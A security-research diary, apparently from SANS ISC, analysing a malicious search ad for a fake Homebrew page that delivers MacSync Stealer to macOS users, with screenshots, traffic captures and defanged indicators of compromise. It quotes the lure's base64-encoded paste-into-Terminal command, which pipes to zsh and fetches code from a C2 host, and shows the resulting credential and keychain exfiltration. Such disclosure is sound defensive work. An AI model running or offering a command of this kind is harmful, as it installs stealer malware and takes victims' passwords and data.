Malicious Ad for Homebrew Leads to MacSync Stealer
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As macbooks and mac minis become more popular, we're seeing more campaigns targeting these macOS hosts. Malicious ads have
popped up in search results that can lead potential victims to pages that present themselves as legitimate malware but instead are malware.
This diary presents one such example from a malicious ad for a page that impersonates Homebrew we saw on Thursday, 2026-04-30.

Homebrew is a third-party package manager for macOS, and this page pushes MacSync Stealer malware. As | write this today (2026-05-
01), the fake Homebrew page at hxxps[:]//sites.google[.Jcom/view/brewpage is still active.
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Shown above: Malicious ad in search results leading to fake Homebrew page.
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Shown above: Information about the advertiser for the malicious ad.
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The Missing Package Manager for macOS (or Linux)

Install Brew

echo ' ZWNobyAnVmVyaWZpy2FBaWduIHBs ZWF 22583 YWLALidulyAmdiBjdX]s IC1rZnNTTCBodHRWO1BvZ2xvd2112GF Le3RoZXRp .

Paste that in a macOS Terminal or Linux shell prompt. The script explains what it will do and then pauses before
it does it.

How to Install

Open the Terminal app
Press x Space to open Spotlight, type Terminal, and press Enter .

Copy the command
Click the [l button above. You can also click the command itself to select it, then press x ¢

Paste it into Terminal and run

Switch back to Terminal, press % V to paste, then press Enter .

Follow the prompts
If asked, type your Mac login password (characters won't show as you type) and press
Enter . Wait a few seconds for the installer to finish — that's it.

Shown above: Fake Homebrew page with script to copy/paste for potential victims to download malware.

@ & gmiller — -zsh — 80x24

Last login: Thu Apr 30 20:43:19 on console

gmiller@Gregorys-Mini ~ % echo 'ZWNobyAnVmYyawWZpY2FQaWI9ulHBsZWFzZ5B3YWLOL 14ulyAm
JiBjdXJsICIrZnNTTCBodHRWO i8vZ2xvd2117GF1c3RoZXRpY3MuY29tL2N1cmuvNjMAMTBLZThiNDc4
NTc1ZjNAiMmM2YzQ2MTYwYzFmZDMzOGIyMTNjNmZ JMTFIY jAwNj LKYWMSYmJ iN2RiMjM3ZHx6c2g="|ba
sebd -D|zsh

Shown above: Script from fake Homebrew page pasted to a terminal window on a macOS host.
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System Preferences

You should update the settings to launch the
application.

{l )

Shown above: After running the script, this popup appears, and it collects the victim's password.

“Terminal.app"” wants access to
control “Finder.app”. Allowing
control will provide access to
documents and data in
“Finder.app”, and to perform
actions within that app.

Shown above: After running the entering the password, this popup appears for the Terminal app to access the Finder app in macOS.

System Preferences

Your Mac does not support this application. Try
reinstalling or downloading the version for your

system.

Shown above: This is the final popup that appears after running the script.
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MacSync Stealer

Build Tag: brew
Version: 1.1.2_release (x64_86 & ARM)

IP: B 5 -

Username: gmiller
Password:

Software:
System Software Overview:

System Version: mac0S 26.4.1 (25E253)
Kernel Version: Darwin 25.4.0

Boot Volume: Macintosh HD

Boot Mode: Normal

Computer Name: Gregory's Mac mini
User Name: Gregory Miller (gmiller)
Secure Virtual Memory: Enabled
System Integrity Protection: Enabled
Time since boot: hours, = minutes
Hardware:

Hardware Overview:

Model Name:_ch mini

# login keychain-db
& matsdats keychain-db
» I Notes
Password
I Profile
* [ Safari
» [l Systeminfo
Usermame
Varien

Shown above: During the infection, MacSync Stealer collects information from the host, temporarily saves it to /tmp/osalogging.zip and

sends that file to the C2 server.

Time

2026-04-30 21:18:42 104.21.80.251
2026-04-30 21:18:42 104.21.80.251
2026-04-30 21:20:30 104.21.80.251

Dst Port
80
80

80

Host

Shown above: Traffic from the infection filtered in Wireshark.

glowmedaesthetics.com
glowmedaesthetics.com
glowmedaesthetics.com

Info

GET /curl/63810ee8b478575f)
GET /dynamic?txd=63810ee8b.
PUT /gate?buildtxd=63810ee;
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- Wireshark - Follow TCP Stream (tcp.stream eq 11) - 2026-04-30-MacSync-Stealer-infection.pcap - + X

PUT /gate?
buildtxd=63810ee8b478575T3b2c6c46160c1Td338b213c6fcl11bbO069dac9bbb7db237d&upload_id=177
7584030-5cc6ee67417cechb9&chunk_index=0&total_chunks=1 HTTP/1.1

Host: glowmedaesthetics.com

Accept: */*

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36

api-key: 5190ef1733183a0dc63Tb623357F56d6

Content-Length: 36920

Content-Type: application/x-www-form-urlencoded
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28 client pkts, 1 server pkt, 1 turn.

Entire conversation (38 kB) Show data as | ASCII ~ Stream (11 |-
104.21.80.251:80 - 10.4.30.101:49154 (935 bytes)
10.4.30.101:49154 - 104.21.80.251:80 (37 kB

- ( ) Filter Out This Stream Print Save as... Back % Close

[ Ll |

Shown above: Traffic from the infected host sending the /tmp/osalogging.zip file to the C2 server.
Indicators of Compromise
Example of URL from malicious ad:

hxxps[:]//www.google[.Jcom/aclk?sa=L&

ai=DChsSEwi24vK v5aUAxXZS38AHRAFIWAYACICCAIQABoCb2E&

co=1&

gclid=EAlalQobChMItuLyv7-WIAMV2Ut_ABOQBSFgEAMYASAAEgKrq_D_BwE&
cid=CAASugHkaEZtQvhFJBWvSVo_oMtlg6lKBxptjJBacaXOdzM28vxFNm3V2vrefacF48NMDOYvBIVIPCmn_d6X0uiMYDt5bwJYXaT6Lt7 Mf3F-
Mc30K-0ugNt4GfcvQOIOKKP1Sf8WVDXTMPeVMsHE8qx0G43Ta5BRER_SreORfChP390VqtwRkowlKUUojM12uBAYWvejqokVOa_j7-
uGyN1XrQ1ae6TfaijfcoOvMCIQKQovm7p0DBIitWtBJ_d4&

cce=1&

sig=AODG64_2EqeARNVjOoYvCwtJyl1AsolQe7g&q&

adurl&

ved=2ahUKEwjyqg-2_v5aUAxU3g20FHc28JOUQOQx6BAhNEAE

Example of fake Homebrew site URL:

hxxpsl[:]//sites.google[.Jcom/view/brewpage?gad_source=1&
gad_campaignid=23806351087&
gbraid=0AAAAACJ6-Kb3hWjjAWCYYLIjOYOS50Qvtp&
gclid=EAlalQobChMItuLyv7-WIAMV2Ut_ ABOQBSFgEAMYASAAEgKrg_D_BwE

Domain used by C2 server for the MacSync infection:
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glowmedaesthetics[.Jcom

Files from the infection:

SHA256 hash: a4fcfecc5ac8fa57614b23928a0e9b7aad4f4a3b2b3a8c1772487b46277125571

File size: 225 bytes
File type: ASCII text, with no line terminators
File description: Copy/paste script from the fake Homebrew page.

SHA256 hash: 0d58616¢750fc8530a7e90eee18398ddedd08cc0f4908c863ab650673b9819dd

File size: 1,448 bytes

File type: Paul Falstad's zsh script text executable, ASCII text

File location: hxxp[:]//glowmedaesthetics[.]Jcom/curl/63810ee8b478575f3b2c6c46160c1fd338b213c6fc11bb0069dac9bbb7db237d
File description: Initial download from the copy/paste script

SHA256 hash: 86d0c50cab4f394c58976c44d6d7b67a7dfbbb813fbcf622236e183d94fd944f

File size: 2,647 bytes
File type: Paul Falstad's zsh script text executable, ASCII text
File description: Shell script extracted from base64 text in the initial download

Bradley Duncan
brad [at] malware-traffic-analysis.net

0 comment(s)
Click HERE to learn more about classes Brad is teaching for SANS
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